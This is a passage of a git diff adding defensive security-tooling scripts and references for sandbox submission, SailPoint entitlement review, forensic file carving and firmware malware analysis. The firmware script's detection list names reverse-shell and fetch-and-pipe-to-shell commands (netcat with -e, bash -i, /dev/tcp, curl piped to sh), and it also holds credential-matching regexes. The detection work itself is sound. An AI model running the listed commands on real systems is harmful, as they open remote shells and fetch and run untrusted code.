connector.run_url_analysis(target) + else: + analysis_id = connector.run_file_analysis(target) + + print(f"[*] SDK analysis ID: {analysis_id}") + for status in connector.get_task_status(analysis_id): + print(f"[*] Status: {status}") + + verdict = connector.get_analysis_verdict(analysis_id) + report = connector.get_analysis_report(analysis_id) + return {"analysis_id": analysis_id, "verdict": verdict, "report": report} + + +if __name__ == "__main__": + api_key = os.getenv("ANYRUN_API_KEY", "") + if not api_key: + print("[!] Set ANYRUN_API_KEY environment variable") + sys.exit(1) + + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} [--url]") + sys.exit(1) + + target = sys.argv[1] + is_url = "--url" in sys.argv or target.startswith("http") + + # Prefer official SDK when available, fall back to REST API + if HAS_ANYRUN_SDK: + print("[*] Using official anyrun-sdk (SandboxConnector)") + sdk_result = run_with_sdk(api_key, target, is_url) + print(json.dumps(sdk_result, indent=2, default=str)) + sys.exit(0) + + print("[*] anyrun-sdk not found, using REST API fallback") + + if is_url: + print(f"[*] Submitting URL: {target}") + submission = submit_url(target, api_key) + else: + print(f"[*] Submitting file: {target}") + submission = submit_file(target, api_key) + + if "error" in submission: + print(f"[!] {submission['error']}") + sys.exit(1) + + task_id = submission["task_id"] + print(f"[*] Task ID: {task_id}") + + print("[*] Waiting for analysis to complete...") + completion = wait_for_completion(task_id, api_key) + print(f"[*] Status: {completion['status']} ({completion.get('elapsed', 0)}s)") + + if completion["status"] == "completed": + report = get_task_report(task_id, api_key) + iocs = get_iocs_from_report(report) + + output_text = generate_report(submission, report, iocs) + print(output_text) + + output = f"anyrun_analysis_{task_id}.json" + with open(output, "w") as f: + json.dump({"submission": submission, "report": report, "iocs": iocs}, f, indent=2) + print(f"\n[*] Results saved to {output}") + else: + print(f"[!] Analysis did not complete: {completion['status']}") diff --git a/skills/performing-endpoint-forensics-investigation/LICENSE b/skills/performing-endpoint-forensics-investigation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-endpoint-forensics-investigation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-endpoint-vulnerability-remediation/LICENSE b/skills/performing-endpoint-vulnerability-remediation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-endpoint-vulnerability-remediation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-entitlement-review-with-sailpoint-iiq/LICENSE b/skills/performing-entitlement-review-with-sailpoint-iiq/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-entitlement-review-with-sailpoint-iiq/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-entitlement-review-with-sailpoint-iiq/references/api-reference.md b/skills/performing-entitlement-review-with-sailpoint-iiq/references/api-reference.md new file mode 100644 index 00000000..55577d31 --- /dev/null +++ b/skills/performing-entitlement-review-with-sailpoint-iiq/references/api-reference.md @@ -0,0 +1,43 @@ +# API Reference: Entitlement Review with SailPoint IdentityIQ + +## SailPoint IdentityIQ REST API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/identityiq/scim/v2/Users` | GET | List identities with entitlements and roles | +| `/identityiq/scim/v2/Users/{id}` | GET | Get identity details including accounts and entitlements | +| `/identityiq/scim/v2/Certifications` | GET | List certification campaigns with filter support | +| `/identityiq/scim/v2/Certifications/{id}/items` | GET | Get certification items for a campaign | +| `/identityiq/rest/certifications/{id}/statistics` | GET | Retrieve campaign completion statistics | +| `/identityiq/rest/identities/{id}/policyViolations` | GET | Check SOD policy violations for an identity | +| `/identityiq/rest/certifications/{id}/items/{itemId}` | POST | Submit approve/revoke decision on a cert item | + +## Authentication + +SailPoint IIQ REST API uses HTTP Basic Authentication. All requests require `Content-Type: application/json`. + +``` +Authorization: Basic base64(username:password) +``` + +## Key Parameters + +| Parameter | Type | Used In | Description | +|-----------|------|---------|-------------| +| `filter` | string | GET /Certifications | SCIM filter expression (e.g., `phase eq "Active"`) | +| `attributes` | string | GET /Users/{id} | Comma-separated attributes to include | +| `decision` | string | POST /items/{id} | Certification decision: `Approve`, `Revoke`, `Mitigate` | +| `comments` | string | POST /items/{id} | Reviewer comments for audit trail | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP client for SailPoint REST API calls | + +## References + +- SailPoint IdentityIQ REST API Guide: https://documentation.sailpoint.com/identityiq/ +- SailPoint SCIM 2.0 API: https://documentation.sailpoint.com/identityiq/help/scimrest/ +- SailPoint Certification API: https://community.sailpoint.com/ +- SOD Policy Configuration: https://documentation.sailpoint.com/identityiq/help/policies/ diff --git a/skills/performing-entitlement-review-with-sailpoint-iiq/scripts/agent.py b/skills/performing-entitlement-review-with-sailpoint-iiq/scripts/agent.py new file mode 100644 index 00000000..49dc1c64 --- /dev/null +++ b/skills/performing-entitlement-review-with-sailpoint-iiq/scripts/agent.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python3 +"""Agent for performing entitlement review with SailPoint IdentityIQ. + +Automates access certification campaigns, SOD violation detection, +and entitlement review reporting via the SailPoint IdentityIQ REST API. +""" + +import requests +import json +import sys +from datetime import datetime, timedelta +from collections import defaultdict + + +class SailPointIIQAgent: + """Interacts with SailPoint IdentityIQ REST API for entitlement reviews.""" + + def __init__(self, base_url, username, password): + self.base_url = base_url.rstrip("/") + self.session = requests.Session() + self.session.auth = (username, password) + self.session.headers.update({ + "Content-Type": "application/json", + "Accept": "application/json", + }) + + def get_certifications(self, phase="Active"): + """Retrieve certification campaigns filtered by phase.""" + url = f"{self.base_url}/identityiq/scim/v2/Certifications" + params = {"filter": f'phase eq "{phase}"'} + resp = self.session.get(url, params=params) + resp.raise_for_status() + return resp.json().get("Resources", []) + + def get_certification_items(self, cert_id): + """Get individual certification items for a campaign.""" + url = f"{self.base_url}/identityiq/scim/v2/Certifications/{cert_id}/items" + resp = self.session.get(url) + resp.raise_for_status() + return resp.json().get("Resources", []) + + def get_identities(self, query=None): + """Search identities in IdentityIQ.""" + url = f"{self.base_url}/identityiq/scim/v2/Users" + params = {} + if query: + params["filter"] = query + resp = self.session.get(url, params=params) + resp.raise_for_status() + return resp.json().get("Resources", []) + + def get_entitlements(self, identity_id): + """Get entitlements for a specific identity.""" + url = f"{self.base_url}/identityiq/scim/v2/Users/{identity_id}" + params = {"attributes": "entitlements,roles,accounts"} + resp = self.session.get(url, params=params) + resp.raise_for_status() + return resp.json() + + def check_sod_violations(self, identity_id): + """Check for separation of duties violations on an identity.""" + url = f"{self.base_url}/identityiq/rest/identities/{identity_id}/policyViolations" + resp = self.session.get(url) + resp.raise_for_status() + return resp.json() + + def get_campaign_statistics(self, cert_id): + """Retrieve completion statistics for a certification campaign.""" + url = f"{self.base_url}/identityiq/rest/certifications/{cert_id}/statistics" + resp = self.session.get(url) + resp.raise_for_status() + return resp.json() + + def make_certification_decision(self, cert_id, item_id, decision, comments=""): + """Submit a certification decision (approve/revoke) for an item.""" + url = f"{self.base_url}/identityiq/rest/certifications/{cert_id}/items/{item_id}" + payload = { + "decision": decision, + "comments": comments, + "decisionDate": datetime.utcnow().isoformat() + "Z", + } + resp = self.session.post(url, json=payload) + resp.raise_for_status() + return resp.json() + + def generate_review_report(self): + """Generate a comprehensive entitlement review report.""" + active_certs = self.get_certifications("Active") + completed_certs = self.get_certifications("End") + report = { + "report_date": datetime.utcnow().isoformat(), + "active_campaigns": [], + "completed_campaigns": [], + "summary": {}, + } + total_items = 0 + total_revoked = 0 + total_approved = 0 + + for cert in active_certs: + stats = self.get_campaign_statistics(cert.get("id", "")) + campaign_info = { + "name": cert.get("name", "Unknown"), + "type": cert.get("type", "Unknown"), + "phase": cert.get("phase", "Unknown"), + "due_date": cert.get("expiration", "N/A"), + "total_items": stats.get("totalEntities", 0), + "completed_items": stats.get("completedEntities", 0), + "completion_pct": 0, + } + if campaign_info["total_items"] > 0: + campaign_info["completion_pct"] = round( + campaign_info["completed_items"] / campaign_info["total_items"] * 100, 1 + ) + report["active_campaigns"].append(campaign_info) + + for cert in completed_certs: + stats = self.get_campaign_statistics(cert.get("id", "")) + approved = stats.get("approvedCount", 0) + revoked = stats.get("revokedCount", 0) + items = stats.get("totalEntities", 0) + total_items += items + total_revoked += revoked + total_approved += approved + report["completed_campaigns"].append({ + "name": cert.get("name", "Unknown"), + "items_reviewed": items, + "approved": approved, + "revoked": revoked, + "signed_off": cert.get("signedOff", False), + }) + + report["summary"] = { + "total_campaigns": len(active_certs) + len(completed_certs), + "active_campaigns": len(active_certs), + "completed_campaigns": len(completed_certs), + "total_items_reviewed": total_items, + "total_approved": total_approved, + "total_revoked": total_revoked, + "revocation_rate": round(total_revoked / max(total_items, 1) * 100, 1), + } + return report + + +def main(): + if len(sys.argv) < 4: + print("Usage: agent.py [action]") + print("Actions: report, active, sod-check ") + sys.exit(1) + + base_url, username, password = sys.argv[1], sys.argv[2], sys.argv[3] + action = sys.argv[4] if len(sys.argv) > 4 else "report" + + agent = SailPointIIQAgent(base_url, username, password) + + if action == "report": + report = agent.generate_review_report() + print(json.dumps(report, indent=2)) + elif action == "active": + certs = agent.get_certifications("Active") + for cert in certs: + print(f"Campaign: {cert.get('name')}") + print(f" Phase: {cert.get('phase')}") + print(f" Due: {cert.get('expiration', 'N/A')}") + elif action == "sod-check" and len(sys.argv) > 5: + violations = agent.check_sod_violations(sys.argv[5]) + print(json.dumps(violations, indent=2)) + else: + print(f"Unknown action: {action}") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-external-network-penetration-test/LICENSE b/skills/performing-external-network-penetration-test/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-external-network-penetration-test/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-false-positive-reduction-in-siem/LICENSE b/skills/performing-false-positive-reduction-in-siem/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-false-positive-reduction-in-siem/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-file-carving-with-foremost/LICENSE b/skills/performing-file-carving-with-foremost/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-file-carving-with-foremost/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-file-carving-with-foremost/references/api-reference.md b/skills/performing-file-carving-with-foremost/references/api-reference.md new file mode 100644 index 00000000..1db2efe8 --- /dev/null +++ b/skills/performing-file-carving-with-foremost/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: File Carving with Foremost + +## Foremost CLI + +| Command | Description | +|---------|-------------| +| `foremost -t -i -o ` | Carve files of specified types from image | +| `foremost -c -i -o ` | Carve using custom configuration file | +| `foremost -v -t all -i -o ` | Verbose carving of all supported types | + +## Foremost Options + +| Flag | Description | +|------|-------------| +| `-t` | File types to carve (jpg, png, pdf, doc, all) | +| `-i` | Input disk image path | +| `-o` | Output directory for carved files | +| `-c` | Custom foremost.conf path | +| `-v` | Verbose mode with progress details | + +## Scalpel CLI + +| Command | Description | +|---------|-------------| +| `scalpel -c -o ` | High-performance carving with config | + +## foremost.conf Format + +``` +# extension case_sensitive max_size header footer +jpg y 200000 \xff\xd8\xff \xff\xd9 +pdf y 5000000 %PDF %%EOF +``` + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute foremost/scalpel commands | +| `hashlib` | stdlib | SHA-256 hashing for evidence integrity | +| `pathlib` | stdlib | File system traversal of carved output | + +## References + +- Foremost source: https://foremost.sourceforge.net/ +- Scalpel repository: https://github.com/sleuthkit/scalpel +- Sleuth Kit (blkls, mmls): https://sleuthkit.org/ +- File signature database: https://www.garykessler.net/library/file_sigs.html diff --git a/skills/performing-file-carving-with-foremost/scripts/agent.py b/skills/performing-file-carving-with-foremost/scripts/agent.py new file mode 100644 index 00000000..d6d2888d --- /dev/null +++ b/skills/performing-file-carving-with-foremost/scripts/agent.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +"""Agent for performing file carving with Foremost. + +Automates file carving from disk images using foremost/scalpel, +validates carved files, and generates evidence catalogs with hashes. +""" + +import subprocess +import os +import sys +import hashlib +import json +from collections import defaultdict +from pathlib import Path + + +class FileCarvingAgent: + """Automates forensic file carving and validation workflows.""" + + def __init__(self, output_dir): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + + def run_foremost(self, image_path, file_types="all", config_path=None): + """Execute foremost against a disk image.""" + carved_dir = self.output_dir / "foremost_output" + if carved_dir.exists(): + subprocess.run(["rm", "-rf", str(carved_dir)], check=False) + + cmd = ["foremost"] + if config_path: + cmd.extend(["-c", config_path]) + cmd.extend(["-t", file_types, "-i", image_path, "-o", str(carved_dir)]) + + result = subprocess.run(cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"Foremost error: {result.stderr}") + return carved_dir + + def run_scalpel(self, image_path, config_path="/etc/scalpel/scalpel.conf"): + """Execute scalpel for high-performance carving.""" + carved_dir = self.output_dir / "scalpel_output" + cmd = ["scalpel", "-c", config_path, "-o", str(carved_dir), image_path] + result = subprocess.run(cmd, capture_output=True, text=True) + if result.returncode != 0: + print(f"Scalpel error: {result.stderr}") + return carved_dir + + def validate_carved_files(self, carved_dir): + """Validate carved files using the file command and size checks.""" + stats = defaultdict(lambda: {"total": 0, "valid": 0, "invalid": 0, "size": 0}) + carved_path = Path(carved_dir) + + for subdir in sorted(carved_path.iterdir()): + if not subdir.is_dir() or subdir.name == "audit.txt": + continue + for filepath in sorted(subdir.iterdir()): + if not filepath.is_file(): + continue + ext = subdir.name + filesize = filepath.stat().st_size + stats[ext]["total"] += 1 + stats[ext]["size"] += filesize + + if filesize == 0: + stats[ext]["invalid"] += 1 + continue + + result = subprocess.run( + ["file", "--brief", str(filepath)], + capture_output=True, text=True + ) + file_type = result.stdout.strip().lower() + if "data" in file_type or "empty" in file_type: + stats[ext]["invalid"] += 1 + else: + stats[ext]["valid"] += 1 + + return dict(stats) + + def hash_carved_files(self, carved_dir): + """Generate SHA-256 hashes for all carved files.""" + hashes = [] + carved_path = Path(carved_dir) + + for subdir in sorted(carved_path.iterdir()): + if not subdir.is_dir() or subdir.name == "audit.txt": + continue + for filepath in sorted(subdir.iterdir()): + if not filepath.is_file() or filepath.stat().st_size == 0: + continue + sha256 = hashlib.sha256(filepath.read_bytes()).hexdigest() + hashes.append({ + "filename": filepath.name, + "type": subdir.name, + "size": filepath.stat().st_size, + "sha256": sha256, + "path": str(filepath), + }) + return hashes + + def build_evidence_catalog(self, carved_dir): + """Build a comprehensive evidence catalog of carved files.""" + validation = self.validate_carved_files(carved_dir) + file_hashes = self.hash_carved_files(carved_dir) + + catalog = { + "carving_tool": "foremost", + "source_directory": str(carved_dir), + "validation_summary": validation, + "total_files": sum(s["total"] for s in validation.values()), + "valid_files": sum(s["valid"] for s in validation.values()), + "invalid_files": sum(s["invalid"] for s in validation.values()), + "total_size_bytes": sum(s["size"] for s in validation.values()), + "files": file_hashes, + } + + catalog_path = self.output_dir / "evidence_catalog.json" + with open(catalog_path, "w") as f: + json.dump(catalog, f, indent=2) + return catalog + + def parse_audit_file(self, carved_dir): + """Parse the foremost audit.txt file for carving summary.""" + audit_path = Path(carved_dir) / "audit.txt" + if not audit_path.exists(): + return {"error": "audit.txt not found"} + return {"content": audit_path.read_text(), "path": str(audit_path)} + + def remove_zero_byte_files(self, carved_dir): + """Remove zero-byte carved files that are invalid.""" + removed = 0 + carved_path = Path(carved_dir) + for subdir in carved_path.iterdir(): + if not subdir.is_dir(): + continue + for filepath in subdir.iterdir(): + if filepath.is_file() and filepath.stat().st_size == 0: + filepath.unlink() + removed += 1 + return removed + + def generate_report(self, carved_dir): + """Generate a file carving summary report.""" + validation = self.validate_carved_files(carved_dir) + audit = self.parse_audit_file(carved_dir) + + print("FILE CARVING SUMMARY REPORT") + print("=" * 50) + print(f"{'Type':<10} {'Total':<8} {'Valid':<8} {'Invalid':<10} {'Size (MB)':<12}") + print("-" * 50) + for ext in sorted(validation.keys()): + s = validation[ext] + size_mb = s["size"] / (1024 * 1024) + print(f"{ext:<10} {s['total']:<8} {s['valid']:<8} {s['invalid']:<10} {size_mb:>8.1f}") + + total = sum(s["total"] for s in validation.values()) + valid = sum(s["valid"] for s in validation.values()) + print(f"\nTotal: {total} files, {valid} valid") + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [file_types]") + print(" file_types: comma-separated (e.g., jpg,pdf,doc) or 'all'") + sys.exit(1) + + image_path = sys.argv[1] + output_dir = sys.argv[2] + file_types = sys.argv[3] if len(sys.argv) > 3 else "all" + + agent = FileCarvingAgent(output_dir) + carved_dir = agent.run_foremost(image_path, file_types) + agent.remove_zero_byte_files(carved_dir) + agent.build_evidence_catalog(carved_dir) + agent.generate_report(carved_dir) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-firmware-malware-analysis/LICENSE b/skills/performing-firmware-malware-analysis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-firmware-malware-analysis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-firmware-malware-analysis/references/api-reference.md b/skills/performing-firmware-malware-analysis/references/api-reference.md new file mode 100644 index 00000000..83347dbd --- /dev/null +++ b/skills/performing-firmware-malware-analysis/references/api-reference.md @@ -0,0 +1,45 @@ +# API Reference: Firmware Malware Analysis + +## binwalk CLI + +| Command | Description | +|---------|-------------| +| `binwalk ` | Scan and display embedded file signatures | +| `binwalk -e ` | Extract identified components | +| `binwalk -eM ` | Recursive extraction with signature scanning | +| `binwalk -E ` | Entropy analysis for encrypted/compressed regions | +| `binwalk -A ` | Scan for executable opcode signatures | + +## binwalk Python API + +```python +import binwalk +for module in binwalk.scan("firmware.bin", signature=True, extract=True): + for result in module.results: + print(f"0x{result.offset:X} {result.description}") +``` + +## chipsec CLI (UEFI Analysis) + +| Command | Description | +|---------|-------------| +| `python chipsec_main.py -m common.bios_wp` | Check BIOS write protection | +| `python chipsec_main.py -m common.spi_lock` | Check SPI flash lock status | +| `python chipsec_main.py -m common.secureboot` | Verify Secure Boot configuration | +| `python chipsec_util.py spi dump ` | Dump UEFI firmware from SPI flash | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute binwalk, file, and strings commands | +| `hashlib` | stdlib | SHA-256 hashing for firmware integrity | +| `re` | stdlib | Pattern matching for IOC extraction | + +## References + +- binwalk: https://github.com/ReFirmLabs/binwalk +- Firmadyne: https://github.com/firmadyne/firmadyne +- UEFITool: https://github.com/LongSoft/UEFITool +- chipsec: https://github.com/chipsec/chipsec +- EMBA firmware analyzer: https://github.com/e-m-b-a/emba diff --git a/skills/performing-firmware-malware-analysis/scripts/agent.py b/skills/performing-firmware-malware-analysis/scripts/agent.py new file mode 100644 index 00000000..92f3cdd8 --- /dev/null +++ b/skills/performing-firmware-malware-analysis/scripts/agent.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +"""Agent for performing firmware malware analysis. + +Automates firmware extraction with binwalk, filesystem analysis, +string extraction, entropy analysis, and IOC identification. +""" + +import subprocess +import os +import sys +import hashlib +import json +import re +from pathlib import Path + + +class FirmwareAnalysisAgent: + """Automates firmware image analysis and malware detection.""" + + def __init__(self, firmware_path, output_dir): + self.firmware_path = Path(firmware_path) + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + + def compute_hash(self): + """Compute SHA-256 hash of the firmware image.""" + sha256 = hashlib.sha256(self.firmware_path.read_bytes()).hexdigest() + return {"sha256": sha256, "size": self.firmware_path.stat().st_size} + + def run_binwalk_scan(self): + """Scan firmware with binwalk to identify embedded components.""" + result = subprocess.run( + ["binwalk", str(self.firmware_path)], + capture_output=True, text=True + ) + return {"output": result.stdout, "returncode": result.returncode} + + def run_binwalk_extract(self): + """Extract firmware components with binwalk recursive extraction.""" + extract_dir = self.output_dir / "extracted" + result = subprocess.run( + ["binwalk", "-eM", "-C", str(extract_dir), str(self.firmware_path)], + capture_output=True, text=True + ) + return {"extract_dir": str(extract_dir), "returncode": result.returncode} + + def run_entropy_analysis(self): + """Run binwalk entropy analysis to detect encrypted/compressed regions.""" + result = subprocess.run( + ["binwalk", "-E", str(self.firmware_path)], + capture_output=True, text=True + ) + return {"output": result.stdout} + + def find_filesystem_root(self): + """Locate extracted filesystem root directory.""" + extract_dir = self.output_dir / "extracted" + for root, dirs, files in os.walk(str(extract_dir)): + if "squashfs-root" in dirs: + return Path(root) / "squashfs-root" + if "etc" in dirs and "bin" in dirs: + return Path(root) + return None + + def search_hardcoded_credentials(self, fs_root): + """Search filesystem for hardcoded credentials.""" + findings = [] + patterns = [ + (r"password|passwd|secret|api_key|token", "credential_keyword"), + (r"root:\$[0-9a-zA-Z\$\.\/]+", "password_hash"), + (r"ssh-rsa\s+[A-Za-z0-9+/=]+", "ssh_key"), + ] + + search_dirs = ["etc", "usr/bin", "usr/sbin", "home", "root", "var"] + for search_dir in search_dirs: + target = fs_root / search_dir + if not target.exists(): + continue + for filepath in target.rglob("*"): + if not filepath.is_file(): + continue + try: + content = filepath.read_text(errors="ignore") + for pattern, finding_type in patterns: + matches = re.findall(pattern, content, re.IGNORECASE) + if matches: + findings.append({ + "file": str(filepath.relative_to(fs_root)), + "type": finding_type, + "match_count": len(matches), + "samples": matches[:3], + }) + except (PermissionError, OSError): + continue + return findings + + def check_startup_scripts(self, fs_root): + """Analyze startup scripts for backdoor entries.""" + scripts = [] + startup_paths = [ + "etc/init.d", "etc/rc.d", "etc/inittab", "etc/rcS", + "etc/crontab", "etc/cron.d", + ] + suspicious_patterns = [ + r"nc\s+-[el]", r"netcat", r"bash\s+-i", r"wget\s+http", + r"curl\s+http.*\|.*sh", r"telnetd", r"/dev/tcp/", + ] + + for spath in startup_paths: + target = fs_root / spath + if target.is_file(): + scripts.append(self._analyze_script(target, fs_root, suspicious_patterns)) + elif target.is_dir(): + for f in target.iterdir(): + if f.is_file(): + scripts.append(self._analyze_script(f, fs_root, suspicious_patterns)) + return [s for s in scripts if s] + + def _analyze_script(self, filepath, fs_root, patterns): + """Analyze a single script for suspicious content.""" + try: + content = filepath.read_text(errors="ignore") + except (PermissionError, OSError): + return None + suspicious = [] + for pattern in patterns: + if re.search(pattern, content, re.IGNORECASE): + suspicious.append(pattern) + return { + "file": str(filepath.relative_to(fs_root)), + "size": filepath.stat().st_size, + "suspicious_patterns": suspicious, + "is_suspicious": len(suspicious) > 0, + } + + def find_elf_binaries(self, fs_root): + 